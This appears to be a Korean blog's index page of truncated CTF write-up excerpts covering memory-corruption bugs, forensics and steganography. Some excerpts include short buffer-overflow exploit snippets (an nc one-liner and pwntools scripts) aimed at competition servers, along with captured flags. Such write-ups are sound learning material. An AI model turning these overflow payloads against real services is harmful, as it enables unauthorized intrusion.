반응형

Write-up 119

[pwnable.tw] silver_bullet

[summary]null byte bugbof -> ropanalysism444ndu@ubuntu:~/pwntw/silver_bullet$ checksec silver_bullet [*] '/home/m444ndu/pwntw/silver_bullet/silver_bullet' Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)main 문의 ebp-0x34 위치의 변수를 다음과 같이 바꿔주시면 분석이 용이합니당_bullet{ char bullet[0x30]; int bullet_power; }create_bullet() if ( _bullet->bullet[0] ) return ..

Write-up 2019.01.07

[X-MAS CTF 2018] writeup

종강하니까 대회 마지막 날이여서 별로 참가하지는 않았다. 그냥 집에서 할 거 없어서 뚜닥뚜닥해봣음 [forensic] Oh Christmas Tree 25 Santa is sure that he left a gift somewhere around here. Can you help him find it? 대충 플래그가 보임. X-MAS{0_Chr15tm as_tr33_1s_th1s_a _flag_i_wond3r} [forensic] Message from Santa 50 Santa prepared a flag for you. Unfortunately, he has no idea where he left it. Finders keepers. classified_gift_distribution_schema.i..

Write-up 2018.12.29

[RITSEC 2018] Gimme sum fud write up

해당 바이너리를 보면 go 언어로 작성된 64-bit elf 파일임을 알 수 있다. go 언어는 main 함수가 컴파일 시 main_main으로 변하므로 그 부분을 보면 다음과 같다. go 언어라 좀 복잡하지만, 중점적으로 봐야 할 루틴은 다음 네 가지정도로 정리할 수 있겠다. main.main -> io/ioutil.ReadFile main.main -> main.main.func1 -> main._Cfunc_CBytes main.main -> main.Cfunc_myGets -> runtime.cgocall -> main._cgo_22ceff77f670_Cfunc_myGets -> read main.main -> main.Cfunc_myPrint -> runtime.cgocall -> main._cg..

Write-up 2018.11.22

[RITSEC 2018] write up

RITSEC CTF 2018 Burn the candle on both ends binwalk를 이용하여 zip 파일 추출 후, 파일을 풀기위한 패스워드 게싱이 필요함. 여기서 브포도 돌려보고 증말 오래걸렸는데, 출제자가 간단한 게싱이라고 그래서 아무 생각없이 공룡 옷 입은 강아지를 보고 입력해봤다. passwd : stegosaurus RITSEC{8U51N355-1N-7H3-Fr0N7-P4r7Y-1N-7H3-84CK} I am a Stegoraurous 걍 다운로드 받아서 크게 보면 보임 ezpwn $ (python -c "print 'A'*0x1c + '\x01\x00\x00\x00'";cat)| nc fun.ritsec.club 8001 Please enter your API key RITSEC{..

Write-up 2018.11.19

[InCTF 2018] Lost writeup

LOST race condition, heap overflow, *no free, *no view, format string bug Reversing alloc() 위 코드는 alloc 함수의 일부분이다. 먼저, sem_init() 함수를 이용하여 thread 간의 이동을 위한 세마포어 객체 sema를 1로 초기화한다.(2번째 인자는 현재 프로세스에서만 사용함=0을 나타낸다.)thread 함수는 run(2)를 리턴한다. 다음은 run함수와 sig함수를 나타낸다. 위 run함수를 보면 우선, 각 thread는 alarm을 통한 signal로 인하여 4초 간 동작한뒤 다른 thread로 넘어가는 형태를 취하고 있음을 알 수 있다. 해당 signal은 sig 함수를 부르는데, sig 함수는 위의 3 개의 함수..

Write-up 2018.11.06

[InCTF 2018] Yawn writeup

YAWN 위는 add_note 함수를 나타낸 것이다. 취약점은 다음 insert 함수의 strcpy에서 발생한다. 이 insert 함수를 부르기 전 스택 상황을 보면, 다음과 같다. 먼저, 입력을 name, desc 두 번 받는데, 위의 상황에서는 name에 "AAA..."를 desc에 "00000..."를 입력하였다. 이 때, 발견할 수 있는 점은, name의 80bytes를 가득 줬을 때, 뒤의 desc부분 또한 strcpy를 통해 table[idx]->name에 복사가 가능하다는 것이다. 다음은 table의 구조를 나타낸다. size 및 desc 뿐만 아니라 그 이상의 영역까지 덮어버릴 수 있음을 알 수 있다. view_note 함수가 위처럼 table[idx]->desc 포인터를 참조하여 출력해주..

Write-up 2018.10.30

[InCTF 2018] Magical Radio writeup

어떻게 해도 못 풀거 같아 겨우 올라온 롸업보고 쓰는 글입니다.. 출처 : https://github.com/fikih888/CTFs/tree/master/InCTF%202018%20-%20Mag1cal%20Radio%20-%20Stegano%20ChallMag1cal RadioA number station in Russia broadcasted a series of encoded messages to one of it's intelligence agency. We have been able to get a piece of that message along with a picture hidden by one of the spy. Decode the transmitted data and be a hero!..

Write-up 2018.10.20

[InCTF 2018] writeup

Biz44reKevin sent me a file with some hidden message. Help me recover this secret from this bizzare network. 우선, 파일이 존재한다고 했으므로 pcap file안에 특정 파일의 시그니처가 발견될 것을 예상하고 binwalk로 검사. 인증서 파일들만이 존재. 헥스 값으로 pcap file 안에 존재할 가능성이 있음. 아래와 같이 검사.m444ndu@ubuntu:~/handout/bizz$ strings bizz.pcap | xxd -r -p > a.txtm444ndu@ubuntu:~/handout/bizz$ binwalk a.txt DECIMAL HEXADECIMAL DESCRIPTION-------------------..

Write-up 2018.10.16

[CSAW 2018] writeup

매우매우 간단한 문제들쓰 systembigboy매우매우 간단한 bof 문제 /*exploit code*/from pwn import * r = remote('pwn.chal.csaw.io' ,9000)#r = process("./boi")context.log_level = 'debug' r.recvline()a = "A" * 0x14a += p64(0xcaf3baee)r.sendline(a)r.interactive() get it?여윽시 매우매우 간단한 bof /*exploit code*/from pwn import * #r = process("./get_it")r = remote("pwn.chal.csaw.io", 9001)context.log_level = 'debug' r.recvline() a =..

Write-up 2018.09.21
반응형